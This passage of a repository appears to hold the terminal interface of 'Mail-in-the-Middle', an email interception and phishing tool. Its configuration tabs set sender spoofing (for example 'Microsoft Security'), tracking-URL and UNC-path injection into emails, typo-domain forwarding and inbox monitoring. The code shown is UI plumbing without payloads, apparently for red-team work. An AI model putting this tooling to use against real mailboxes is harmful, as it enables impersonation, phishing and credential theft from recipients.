318 | for header, hvalue in injections_data.get("headers", {}).items():
319 | header_listview.append(ListItem(Label(f"{header}: {hvalue}"), classes="injections-listitem"))
320 |
321 | # Populate tracking URL and UNC path
322 | self.query_one("#tracking-url-input", Input).value = injections_data.get("tracking_url", "")
323 | self.query_one("#unc-path-input", Input).value = injections_data.get("unc_path", "")
324 |
325 | async def on_mount(self) -> None:
326 | """Called after the widget is mounted in the DOM."""
327 | self.read_injections_information()
328 |
--------------------------------------------------------------------------------
/tabs/misc.py:
--------------------------------------------------------------------------------
1 | import os
2 | import yaml
3 | from textual.app import ComposeResult
4 | from textual.widgets import Label, Button, Input, Switch, ListItem, ListView
5 | from textual.containers import Vertical, Horizontal, Container, VerticalScroll
6 | from textual.binding import Binding
7 |
8 | class MiscTab(Vertical):
9 | CSS_PATH = 'gui.css' # Path to the CSS file
10 | BINDINGS = [
11 | Binding(key="ctrl+s", action="save_config()",description="Save"),
12 | ]
13 |
14 | def __init__(self, global_config_path='config/config.yml'):
15 | super().__init__()
16 | # Config file path
17 | self.global_config_path = global_config_path
18 | self.config_path = self._get_path_from_config('misc')
19 |
20 | def _get_path_from_config(self, section):
21 | """Get the path to the configuration section file."""
22 | # Load the main configuration file
23 | with open(self.global_config_path, 'r') as config_file:
24 | main_config = yaml.safe_load(config_file)
25 |
26 | # Get the path for the authentication configuration
27 | section_config_path = main_config.get(section)
28 |
29 | # If the auth_config_path is not absolute, make it relative to the directory of config_path
30 | if not os.path.isabs(section_config_path):
31 | global_config_dir = os.path.dirname(self.global_config_path)
32 | section_config_path = os.path.join(global_config_dir, section_config_path)
33 |
34 | return section_config_path
35 |
36 | def action_save_config(self):
37 | """Save the injections configuration to the file."""
38 | self.save_miscelanea_information()
39 |
40 | def compose(self) -> ComposeResult:
41 | """Compose the miscelanea tab content."""
42 | misc_container = VerticalScroll(
43 | # Fixed Destinations
44 | Container(
45 | Label("Fixed Destinations:", id="fixed-destinations-label", classes='filter-form-label'),
46 | ListView(id="fixed-destinations-listview", classes="miscelanea-listview"),
47 | Input(placeholder="felipe@mycatchall.com", id="fixed-destination-input"),
48 | Horizontal(
49 | Button("+", id="add-fixed-destination-button", variant="success", tooltip="Add fixed destination"),
50 | Button("-", id="remove-fixed-destination-button", variant="error", tooltip="Remove fixed destination")
51 | ),
52 | classes="miscelanea-box",
53 | id="fixed-destinations-box"
54 | ),
55 |
56 | # Sender Details
57 | Container(
58 | Label("Other Settings:", id="sender-settings-label", classes='filter-form-label'),
59 | Horizontal(
60 | Label("Spoof original sender:"),
61 | Switch(value=False, id="sender-spoof-switch")
62 | ),
63 | Horizontal(
64 | Label("Fixed Sender:"),
65 | Input(placeholder="Microsoft Security ", id="sender-fixed-input"),
66 | id='fixed-sender-container',
67 | ),
68 | Horizontal(
69 | Label("Poll Interval (seconds):", id="poll-interval-label"),
70 | Input(placeholder="120", id="poll-interval-input", type="number"),
71 | ),
72 | Horizontal(
73 | Label("Tracking Parameter:", id="tracking-param-label"),
74 | Input(placeholder="customerid", id="tracking-param-input"),
75 | ),
76 | classes="miscelanea-box",
77 | id="other-settings-box"
78 | ),
79 |
80 | # Save Button
81 | Button("Save", variant="primary", id="button-save-miscelanea"),
82 | classes="miscelanea-container"
83 | )
84 | yield misc_container
85 |
86 | async def on_button_pressed(self, event) -> None:
87 | """Handle button press events."""
88 | if event.button.id == "add-fixed-destination-button":
89 | self.add_fixed_destination_to_list()
90 | elif event.button.id == "remove-fixed-destination-button":
91 | self.remove_fixed_destination_from_list()
92 | elif event.button.id == "button-save-miscelanea":
93 | self.save_miscelanea_information()
94 |
95 | def add_fixed_destination_to_list(self):
96 | """Add fixed destination email to the list."""
97 | email = self.query_one("#fixed-destination-input", Input).value
98 | if email:
99 | listview = self.query_one("#fixed-destinations-listview", ListView)
100 | listview.append(ListItem(Label(email), classes="miscelanea-listitem"))
101 | self.query_one("#fixed-destination-input", Input).value = "" # Clear input field
102 |
103 | def remove_fixed_destination_from_list(self):
104 | """Remove highlighted fixed destination from the list."""
105 | listview = self.query_one("#fixed-destinations-listview", ListView)
106 | if listview.highlighted_child:
107 | listview.highlighted_child.remove()
108 |
109 | def save_miscelanea_information(self):
110 | """Save miscelanea information to the YAML file."""
111 | fixed_destinations = [str(item.query_one(Label).renderable) for item in self.query_one("#fixed-destinations-listview", ListView).children]
112 | sender_spoof = self.query_one("#sender-spoof-switch", Switch).value
113 | sender_fixed = self.query_one("#sender-fixed-input", Input).value
114 | poll_interval = int(self.query_one("#poll-interval-input", Input).value)
115 | tracking_param = self.query_one("#tracking-param-input", Input).value
116 |
117 | misc_data = {
118 | "fixed_destinations": fixed_destinations,
119 | "sender": {
120 | "spoof": sender_spoof,
121 | "fixed": sender_fixed
122 | },
123 | "poll_interval": poll_interval,
124 | "tracking_param": tracking_param
125 | }
126 |
127 | # Remove the fixed sender container if spoof is False
128 | if sender_fixed is None or len(sender_fixed) == 0:
129 | misc_data["sender"].pop("fixed", None)
130 |
131 | # Save the information to a YAML file
132 | with open(self.config_path, "w") as yaml_file:
133 | yaml.dump(misc_data, yaml_file, default_flow_style=False)
134 |
135 | print(f"Miscellaneous information saved to {self.config_path}")
136 |
137 | def on_switch_changed(self, event: Switch.Changed) -> None:
138 | """Handle switch change events."""
139 | if event.switch.id == "sender-spoof-switch":
140 | sfi_element = self.query_one("#fixed-sender-container")
141 | if event.value and 'hidden' not in sfi_element.classes:
142 | sfi_element.add_class("hidden")
143 | else:
144 | sfi_element.remove_class("hidden")
145 |
146 | async def on_mount(self) -> None:
147 | """Called after the widget is mounted in the DOM."""
148 | self.read_miscelanea_information()
149 |
150 | def read_miscelanea_information(self):
151 | """Load the miscelanea information from the YAML file (if exists) and populate the form."""
152 | if not os.path.exists(self.config_path):
153 | return
154 |
155 | with open(self.config_path, "r") as yaml_file:
156 | misc_data = yaml.safe_load(yaml_file)
157 |
158 | # Populate fixed destinations list
159 | fixed_destinations = misc_data.get("fixed_destinations", [])
160 | listview = self.query_one("#fixed-destinations-listview", ListView)
161 | for email in fixed_destinations:
162 | listview.append(ListItem(Label(email), classes="miscelanea-listitem"))
163 |
164 | # Populate sender information
165 | sender_data = misc_data.get("sender", {})
166 | self.query_one("#sender-spoof-switch", Switch).value = sender_data.get("spoof", False)
167 | self.query_one("#sender-fixed-input", Input).value = sender_data.get("fixed", "")
168 |
169 | # Populate poll interval
170 | self.query_one("#poll-interval-input", Input).value = str(misc_data.get("poll_interval", 120))
171 |
172 | # Populate tracking parameter
173 | self.query_one("#tracking-param-input", Input).value = misc_data.get("tracking_param", "customerid")
174 |
--------------------------------------------------------------------------------
/tabs/notifications.py:
--------------------------------------------------------------------------------
1 | import os
2 | import yaml
3 | from textual.app import ComposeResult
4 | from textual.widgets import Label, Button, Input
5 | from textual.containers import Vertical, Container
6 | from textual.binding import Binding
7 |
8 | class NotificationsTab(Vertical):
9 | CSS_PATH = 'gui.tcss' # Path to the TCSS file
10 | BINDINGS = [
11 | Binding(key="ctrl+s", action="save_config()",description="Save"),
12 | ]
13 |
14 | def __init__(self, global_config_path='config/config.yml'):
15 | super().__init__()
16 | # Config file path
17 | self.global_config_path = global_config_path
18 | self.config_path = self._get_path_from_config('notifications')
19 |
20 | def _get_path_from_config(self, section):
21 | """Get the path to the configuration section file."""
22 | # Load the main configuration file
23 | with open(self.global_config_path, 'r') as config_file:
24 | main_config = yaml.safe_load(config_file)
25 |
26 | # Get the path for the authentication configuration
27 | section_config_path = main_config.get(section)
28 |
29 | # If the auth_config_path is not absolute, make it relative to the directory of config_path
30 | if not os.path.isabs(section_config_path):
31 | global_config_dir = os.path.dirname(self.global_config_path)
32 | section_config_path = os.path.join(global_config_dir, section_config_path)
33 |
34 | return section_config_path
35 |
36 | def action_save_config(self):
37 | """Save the injections configuration to the file."""
38 | self.save_notifications_information()
39 |
40 | def compose(self) -> ComposeResult:
41 | """Compose the notifications content."""
42 | notifications_container = Vertical(
43 | Container(
44 | Label("Teams Webhook URL:", id="teams-label"),
45 | Input(placeholder="", id="teams-input"),
46 | classes="notifications-input-grid"
47 | ),
48 | Container(
49 | Label("Discord Webhook URL:", id="discord-label"),
50 | Input(placeholder="", id="discord-input"),
51 | classes="notifications-input-grid"
52 | ),
53 | # Container(id='blank-buffer-container'),
54 | Button(label="Save", variant="primary", id="button-save-notifications"),
55 | classes="notifications-container"
56 | )
57 | yield notifications_container
58 |
59 | async def on_mount(self) -> None:
60 | """Called after the widget is mounted in the DOM."""
61 | self.read_notifications_information()
62 |
63 | async def on_button_pressed(self, event) -> None:
64 | """Handle button press events."""
65 | if event.button.id == "button-save-notifications":
66 | self.save_notifications_information()
67 |
68 | def read_notifications_information(self):
69 | """Read and populate the data from the notifications.yml config file."""
70 | if not os.path.exists(self.config_path):
71 | return # No config file exists yet, nothing to load
72 |
73 | # Load the YAML configuration file
74 | with open(self.config_path, "r") as yaml_file:
75 | config_data = yaml.safe_load(yaml_file)
76 |
77 | # Populate Teams input field
78 | teams_webhook = ''
79 | discord_webhook = ''
80 | if (config_data is not None):
81 | if ("teams" in config_data.keys()):
82 | teams_webhook = config_data.get("teams", "").strip()
83 | if ("discord" in config_data.keys()):
84 | discord_webhook = config_data.get("discord", "").strip()
85 |
86 | self.query_one("#teams-input", Input).value = teams_webhook
87 | self.query_one("#discord-input", Input).value = discord_webhook
88 |
89 | def save_notifications_information(self):
90 | """Save the webhook URLs to the notifications.yml config file."""
91 | discord_webhook = self.query_one("#discord-input", Input).value
92 | teams_webhook = self.query_one("#teams-input", Input).value
93 |
94 | notifications_config = {}
95 | if (discord_webhook.strip() != ''):
96 | notifications_config["discord"]=discord_webhook
97 | if (teams_webhook.strip() != ''):
98 | notifications_config["teams"] = teams_webhook
99 |
100 | # Save to a YAML file
101 | with open(self.config_path, "w") as yaml_file:
102 | if (len(notifications_config)>0):
103 | yaml.dump(notifications_config, yaml_file, default_flow_style=False)
104 | else:
105 | yaml_file.write("")
106 |
107 | print(f"Notifications saved to {self.config_path}")
108 |
--------------------------------------------------------------------------------
/tabs/typos.py:
--------------------------------------------------------------------------------
1 | import os
2 | from textual.app import ComposeResult
3 | from textual.widgets import Label, Button, Input, ListItem, ListView
4 | from textual.containers import Vertical, Horizontal, Container
5 | from textual.binding import Binding
6 | import yaml
7 |
8 | # Define the Authentication tab as its own class
9 | class TyposTab(Vertical):
10 | # CSS
11 | CSS_PATH='gui.css'
12 | BINDINGS = [
13 | Binding(key="ctrl+s", action="save_config()",description="Save"),
14 | ]
15 |
16 | def __init__(self,global_config_path='config/config.yml'):
17 | super().__init__()
18 | # Config file path
19 | self.global_config_path = global_config_path
20 | self.config_path = self._get_path_from_config('typos')
21 | self.selected_address = None
22 | self.selected_domain = None
23 |
24 | def _get_path_from_config(self, section):
25 | """Get the path to the configuration section file."""
26 | # Load the main configuration file
27 | with open(self.global_config_path, 'r') as config_file:
28 | main_config = yaml.safe_load(config_file)
29 |
30 | # Get the path for the authentication configuration
31 | section_config_path = main_config.get(section)
32 |
33 | # If the auth_config_path is not absolute, make it relative to the directory of config_path
34 | if not os.path.isabs(section_config_path):
35 | global_config_dir = os.path.dirname(self.global_config_path)
36 | section_config_path = os.path.join(global_config_dir, section_config_path)
37 |
38 | return section_config_path
39 |
40 | def action_save_config(self):
41 | """Save the injections configuration to the file."""
42 | self.save_typos_information()
43 |
44 | def compose(self) -> ComposeResult:
45 | """Typos content."""
46 | typos_container = Container(
47 | Container(
48 | Label("Domains", id='domain-typos-label', classes='inner-typos-label'),
49 | ListView(
50 | id='domain-typos-listview',
51 | classes='typos-listview'
52 | ),
53 | Container(
54 | Label("Mistyped: ", id='mistyped-domain-label'),
55 | Input(placeholder="domani.com", id="typoed-domain-input"),
56 | Label("Corrected: ", id='fixed-domain-label'),
57 | Input(placeholder="domain.com", id="fixed-domain-input"),
58 | classes='typos-form-data-grid',
59 | id='domains-typos-form-data'
60 | ),
61 | Horizontal(
62 | Button(label="+", variant='success',id='domain-add-button', tooltip='Add a domain typo to fix to the list'),
63 | Button(label="-", variant='error', id='domain-remove-button',tooltip='Remove a domain typo to fix from the list'),
64 | ),
65 | classes='inner-typos-grid',
66 | id='domain-typos-box'
67 | ),
68 | Container(
69 | Label("Addresses", id='addresses-typos-label', classes='inner-typos-label'),
70 | ListView(
71 | id='addresses-typos-listview',
72 | classes='typos-listview'
73 | ),
74 | Container(
75 | Label("Mistyped: ", id='mistyped-address-label'),
76 | Input(placeholder="felmoltor@domani.com", id="typoed-address-input"),
77 | Label("Corrected: ", id='fixed-address-label'),
78 | Input(placeholder="felmoltor@domain.com", id="fixed-address-input"),
79 | classes='typos-form-data-grid',
80 | id='addresses-typos-form-data'
81 | ),
82 | Horizontal(
83 | Button(label="+", variant='success', id='address-add-button', tooltip='Add an address typo to fix to the list'),
84 | Button(label="-", variant='error', id='address-remove-button', tooltip='Remove an address typo to fix from the list'),
85 | ),
86 | classes='inner-typos-grid',
87 | id='addresses-typos-box'
88 | ),
89 | Button("Save", variant="primary", id='button-save-auth'),
90 | id='outer-typos-grid',
91 | classes='outer-typos-grid'
92 | )
93 | yield typos_container
94 |
95 |
96 | def save_typos_information(self):
97 | """Save typos to a YAML file."""
98 | domain_typos = {}
99 | address_typos = {}
100 |
101 | # Collect domain typos from the ListView
102 | domain_listview = self.query_one("#domain-typos-listview", ListView)
103 | for item in domain_listview.children:
104 | typo_str = str(item.query_one(Label).renderable)
105 | mistyped, corrected = typo_str.split(" --> ")
106 | domain_typos[mistyped] = corrected
107 |
108 | # Collect address typos from the ListView
109 | address_listview = self.query_one("#addresses-typos-listview", ListView)
110 | for item in address_listview.children:
111 | typo_str = str(item.query_one(Label).renderable)
112 | mistyped, corrected = typo_str.split(" --> ")
113 | address_typos[mistyped] = corrected
114 |
115 | # Create the YAML structure
116 | typos_data = {
117 | "address": address_typos,
118 | "domain": domain_typos
119 | }
120 |
121 | # Save to a YAML file
122 | with open(self.config_path, "w") as yaml_file:
123 | yaml.dump(typos_data, yaml_file, default_flow_style=False)
124 |
125 | print(f"Typos saved to {self.config_path}")
126 |
127 | def read_typos_information(self):
128 | """Load the typos from the YAML file (if exists) and populate the ListView."""
129 | if not os.path.exists(self.config_path):
130 | return
131 |
132 | with open(self.config_path, "r") as yaml_file:
133 | typos_data = yaml.safe_load(yaml_file)
134 |
135 | # Load domains into the domain ListView
136 | domain_listview = self.query_one("#domain-typos-listview", ListView)
137 | for mistyped, corrected in typos_data.get("domain", {}).items():
138 | domain_listview.append(ListItem(Label(f"{mistyped} --> {corrected}"), classes="typos-listitem"))
139 |
140 | # Load addresses into the address ListView
141 | address_listview = self.query_one("#addresses-typos-listview", ListView)
142 | for mistyped, corrected in typos_data.get("address", {}).items():
143 | address_listview.append(ListItem(Label(f"{mistyped} --> {corrected}"), classes="typos-listitem"))
144 |
145 | def add_typo_to_list(self, typo_type: str):
146 | """Add mistyped and corrected input values to the ListView."""
147 | if typo_type == "domain":
148 | mistyped = self.query_one("#typoed-domain-input", Input).value
149 | corrected = self.query_one("#fixed-domain-input", Input).value
150 | listview = self.query_one("#domain-typos-listview", ListView)
151 | elif typo_type == "address":
152 | mistyped = self.query_one("#typoed-address-input", Input).value
153 | corrected = self.query_one("#fixed-address-input", Input).value
154 | listview = self.query_one("#addresses-typos-listview", ListView)
155 |
156 | if mistyped and corrected:
157 | listview.append(ListItem(Label(f"{mistyped} --> {corrected}"), classes="typos-listitem"))
158 | # Clear the input fields after adding to the list
159 | self.query_one(f"#typoed-{typo_type}-input", Input).value = ""
160 | self.query_one(f"#fixed-{typo_type}-input", Input).value = ""
161 |
162 | def remove_typo_to_list(self, typo_type: str):
163 | """Add mistyped and corrected input values to the ListView."""
164 | if typo_type == "domain":
165 | listview = self.query_one("#domain-typos-listview", ListView)
166 | elif typo_type == "address":
167 | listview = self.query_one("#addresses-typos-listview", ListView)
168 |
169 | listview.highlighted_child.remove()
170 |
171 | def on_key(self, event):
172 | """Handle key press events."""
173 | if event.key == "enter":
174 | # Check if the focus is on domain or address inputs and add to the corresponding list
175 | domain_mistyped_input = self.query_one("#typoed-domain-input", Input)
176 | domain_corrected_input = self.query_one("#fixed-domain-input", Input)
177 | address_mistyped_input = self.query_one("#typoed-address-input", Input)
178 | address_corrected_input = self.query_one("#fixed-address-input", Input)
179 |
180 | # If the focus is on any domain-related input
181 | if domain_mistyped_input.has_focus or domain_corrected_input.has_focus:
182 | self.add_typo_to_list("domain")
183 | # If the focus is on any address-related input
184 | elif address_mistyped_input.has_focus or address_corrected_input.has_focus:
185 | self.add_typo_to_list("address")
186 |
187 |
188 | async def on_button_pressed(self, event) -> None:
189 | """Handle button press events."""
190 | if event.button.id == "address-add-button":
191 | self.add_typo_to_list("address")
192 | elif event.button.id == "domain-add-button":
193 | self.add_typo_to_list("domain")
194 | elif event.button.id == "address-remove-button":
195 | self.remove_typo_to_list("address")
196 | elif event.button.id == "domain-remove-button":
197 | self.remove_typo_to_list("domain")
198 | elif event.button.id == "button-save-auth":
199 | self.save_typos_information()
200 |
201 | async def on_mount(self) -> None:
202 | """Called after the widget is mounted in the DOM."""
203 | self.read_typos_information()
204 |
--------------------------------------------------------------------------------
/tui.py:
--------------------------------------------------------------------------------
1 | import os, sys
2 | from textual.app import App, Screen, ComposeResult
3 | from textual.widgets import Label, Button, Log, Footer, Header, TabbedContent, TabPane, Checkbox, Rule, Collapsible, Select
4 | from textual.containers import Vertical, Horizontal, Container
5 | from textual.binding import Binding
6 | from datetime import datetime
7 | import asyncio
8 | import threading
9 | from concurrent.futures import ThreadPoolExecutor
10 | from tabs import AuthenticationTab, NotificationsTab, TyposTab, InjectionsTab, FilterTab, MiscTab
11 | # sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
12 | from Maitm import Maitm
13 |
14 | def firstrun() -> bool:
15 | """Check if the app is running for the first time."""
16 | return
17 |
18 | class RunScreen(Screen):
19 | """A screen for running the tool."""
20 | CSS_PATH = 'gui.css'
21 |
22 | def __init__(self, *args, **kwargs):
23 | super().__init__(*args, **kwargs)
24 | self.log_path = None
25 | self.executor = ThreadPoolExecutor(max_workers=1)
26 | self._log_watcher_task = None
27 | self.stop_event = None
28 | self.thread = None
29 |
30 | def compose(self) -> ComposeResult:
31 | yield Header()
32 | yield Horizontal(
33 | Vertical(
34 | Button(label="Run MaitM", id="run-button", variant="success", classes='run'),
35 | Rule(orientation="horizontal"),
36 | Collapsible(
37 | Label("Configuration file path:"),
38 | Select(id="config-file-select", prompt="Select your configuration file", options=[]),
39 | Checkbox(value=True, id="testing-onlynewmails-checkbox", label="Skip already forwarded emails"),
40 | Checkbox(value=False, id="testing-forwardemail-checkbox", label="Do not Forward (Testing Mode)"),
41 | title='Run Settings',
42 | collapsed=False,
43 | id='collapsible-testing-settings'
44 | ),
45 | Rule(orientation="horizontal"),
46 | Container(
47 | Button("Configuration", id="button-configuration",variant="primary"),
48 | id='configuration-container'
49 | ),
50 | id="left-panel"
51 | ),
52 | Log(highlight=True, id="log-viewer", name="terminal_output"),
53 | id="main_container"
54 | )
55 | yield Footer()
56 |
57 | async def on_button_pressed(self, event) -> None:
58 | """Handle button press to navigate to configuration screen."""
59 | if event.button.id == "button-configuration":
60 | await self.app.push_screen(ConfigureScreen())
61 | if event.button.id == "run-button":
62 | if firstrun():
63 | await self.app.push_screen(ConfigureScreen())
64 | else:
65 | run_button = self.query_one("#run-button", Button)
66 | if (str(run_button.label) == "Stop"):
67 | # Change the tool class and text
68 | run_button.label = "Run MaitM"
69 | run_button.variant="success"
70 | # Stop the tool and monitor
71 | await self.stop_tool()
72 | elif (str(run_button.label) == "Run MaitM"):
73 | # Change the tool class and text
74 | run_button.label = "Stop"
75 | run_button.variant="error"
76 | # Run the tool in the background
77 | await self.run_tool_in_background()
78 |
79 | if event.button.id == "button-save-testing-config":
80 | self.save_testing_config()
81 |
82 | async def stop_tool(self):
83 | """Stop the tool and monitor."""
84 | # Signal the background thread to stop
85 | if self.stop_event:
86 | self.stop_event.set() # This will stop the thread's execution
87 |
88 | # Cancel the log watcher task
89 | if self._log_watcher_task:
90 | self._log_watcher_task.cancel()
91 |
92 | async def run_tool_in_background(self):
93 | """Run the tool in the background and monitor the logs."""
94 | # Get configuration file and options from the UI
95 | config_file = self.query_one("#config-file-select").value
96 | testing_onlynewmails = self.query_one("#testing-onlynewmails-checkbox").value
97 | testing_forwardemail = not bool(self.query_one("#testing-forwardemail-checkbox").value)
98 |
99 | # Create the log file path
100 | self.log_path = "logs/" + datetime.now().strftime('%Y%m%d_%H%M%S') + '_mailinthemiddle.log'
101 |
102 | # Create a stop event for the thread to monitor
103 | self.stop_event = threading.Event()
104 |
105 | # Run the tool in the background
106 | self.thread = threading.Thread(
107 | target=self._run_maitm,
108 | args=(config_file, testing_onlynewmails, testing_forwardemail, self.stop_event)
109 | )
110 | self.thread.start()
111 |
112 | # Start watching the log file asynchronously
113 | self._log_watcher_task = asyncio.create_task(self.watch_log_file())
114 |
115 | def _run_maitm(self, config_file, testing_onlynewmails, testing_forwardemail, stop_event) -> None:
116 | """Run the Maitm tool with the selected configuration."""
117 | maitm = Maitm(config_file=config_file,
118 | logfile=self.log_path,
119 | only_new=testing_onlynewmails,
120 | forward_emails=testing_forwardemail,
121 | stop_event=stop_event)
122 |
123 | maitm.mailmanager.login_read()
124 | maitm.mailmanager.login_send()
125 | maitm.monitor_inbox() # This function should check stop_event periodically
126 |
127 |
128 | async def watch_log_file(self):
129 | """Watch the log file for updates and display them in a TextLog widget."""
130 | text_log = self.query_one("#log-viewer", Log)
131 |
132 | # Continuously watch for changes in the log file
133 | last_size = 0
134 | while True:
135 | try:
136 | if os.path.exists(self.log_path):
137 | # Get the current file size and read only the new data
138 | current_size = os.path.getsize(self.log_path)
139 | if current_size > last_size:
140 | with open(self.log_path, 'r') as log_file:
141 | log_file.seek(last_size) # Read only the new portion of the file
142 | new_data = log_file.read()
143 | text_log.write(new_data) # Write new data to the TextLog widget
144 | last_size = current_size
145 | except Exception as e:
146 | text_log.write(f"Error reading log file: {e}")
147 | await asyncio.sleep(1) # Poll every second for changes
148 |
149 | def on_mount(self) -> None:
150 | """Load the configuration files in the dropdown."""
151 | config_folder = 'config/'
152 | config_files = [(f, config_folder + f) for f in os.listdir(config_folder) if (f.endswith('.yml') and f.startswith('config'))]
153 | select: Select = self.query_one("#config-file-select")
154 | select.set_options(config_files)
155 | # Select by default the config/config.yml file
156 | select.value = self.app.config_path
157 |
158 | def on_select_changed(self, event: Select.Changed) -> None:
159 | """Handle the selection change event."""
160 | self.app.config_path = event.value
161 |
162 |
163 | class ConfigureScreen(Screen):
164 | """A screen for configuring the tool with 5 tabs."""
165 | BINDINGS = [
166 | Binding(key="q", action="quit", description="Quit the app"), # Key binding to quit the application
167 | Binding(key="a", action="show_tab('auth')", description="Authentication"),
168 | Binding(key="i", action="show_tab('injection')", description="Injections"),
169 | Binding(key="t", action="show_tab('typos')", description="Typos"),
170 | Binding(key="f", action="show_tab('filter')", description="Filters"),
171 | Binding(key="n", action="show_tab('notifications')",description="Notifications"),
172 | Binding(key="m", action="show_tab('miscelanea')",description="Misc.")
173 | ]
174 | CSS_PATH='gui.css'
175 |
176 | def compose(self) -> ComposeResult:
177 | yield Header()
178 | # Creating the tabbed content with 5 tabs
179 | self.tabbed_content = TabbedContent(initial="auth") # Assign the tabbed content to a class variable
180 | with self.tabbed_content:
181 | with TabPane("🪪 Authentication [a]", id="auth"):
182 | yield AuthenticationTab(global_config_path=self.app.config_path)
183 | with TabPane("🎛️ Filter [f]", id="filter"):
184 | yield FilterTab(global_config_path=self.app.config_path)
185 | with TabPane("💉 Injection [i]", id="injection"):
186 | yield InjectionsTab(global_config_path=self.app.config_path)
187 | with TabPane("✏️ Typos [t]", id="typos"):
188 | yield TyposTab(global_config_path=self.app.config_path)
189 | with TabPane("💬 Notifications [n]", id="notifications"):
190 | yield NotificationsTab(global_config_path=self.app.config_path)
191 | with TabPane("🗑️ Miscellaneous [m]", id="miscelanea"):
192 | yield MiscTab(global_config_path=self.app.config_path)
193 |
194 | yield self.tabbed_content
195 | yield Footer()
196 |
197 | async def action_show_tab(self, tab_id: str) -> None:
198 | """Show the requested tab based on key bindings."""
199 | # Switch to the tab based on the provided ID
200 | self.tabbed_content.active = tab_id
201 |
202 | async def on_button_pressed(self, event) -> None:
203 | """Handle configuration submission."""
204 | if event.button.id == "submit_button":
205 | # Configuration is done, remove the ".firstrun" file
206 | if os.path.exists(".firstrun"):
207 | os.remove(".firstrun")
208 | await self.app.pop_screen() # Go back to the run screen after configuration
209 |
210 |
211 | class MaitmTUI(App):
212 | """Main application that switches between Run and Configuration screens."""
213 |
214 | BINDINGS = [Binding(key="q", action="quit", description="Quit the app"),
215 | Binding(key="r", action="show_run_screen()",description="Run"),
216 | Binding(key="c", action="show_configuration_screen()",description="Configuration")]
217 |
218 | def __init__(self):
219 | super().__init__()
220 | self.config_path = 'config/config.yml'
221 |
222 | def check_first_run(self) -> bool:
223 | """Check if the '.firstrun' flag exists."""
224 | return os.path.exists(".firstrun")
225 |
226 | async def on_mount(self) -> None:
227 | """Check if it's the first run and push the appropriate screen."""
228 |
229 | self.title = "Mail-in-the-Middle"
230 | self.sub_title = "Plenty of fishes out there"
231 |
232 | if self.check_first_run():
233 | # If the tool is running for the first time, show the configuration screen
234 | await self.push_screen(ConfigureScreen())
235 | else:
236 | # Otherwise, go directly to the run screen
237 | await self.push_screen(RunScreen())
238 |
239 | def compose(self) -> ComposeResult:
240 | """This method ensures that we load the first screen as needed."""
241 | # Add Header, Footer, and placeholder for the first screen
242 | yield Header() # Persistent header across the app
243 | yield Label("Loading...") # Temporary screen while deciding what to load
244 | yield Footer() # Persistent footer across the app
245 |
246 | async def action_show_run_screen(self) -> None:
247 | """Show the run screen."""
248 | await self.push_screen(RunScreen(name='RunScreen'))
249 |
250 | async def action_show_configuration_screen(self) -> None:
251 | """Show the run screen."""
252 | await self.push_screen(ConfigureScreen(name='ConfigureScreen'))
253 |
254 | # async def on_startup(self) -> None:
255 | # """Called when the application starts. Set up the '.firstrun' flag if needed."""
256 | # # Create the '.firstrun' flag if it doesn't exist (indicating first run)
257 | # if not os.path.exists(".firstrun"):
258 | # with open(".firstrun", "w") as f:
259 | # f.write("This is the first run configuration flag.\n")
260 |
261 |
262 | if __name__ == "__main__":
263 | app = MaitmTUI()
264 | app.run()
265 |
--------------------------------------------------------------------------------
/version:
--------------------------------------------------------------------------------
1 | v0.3.4
--------------------------------------------------------------------------------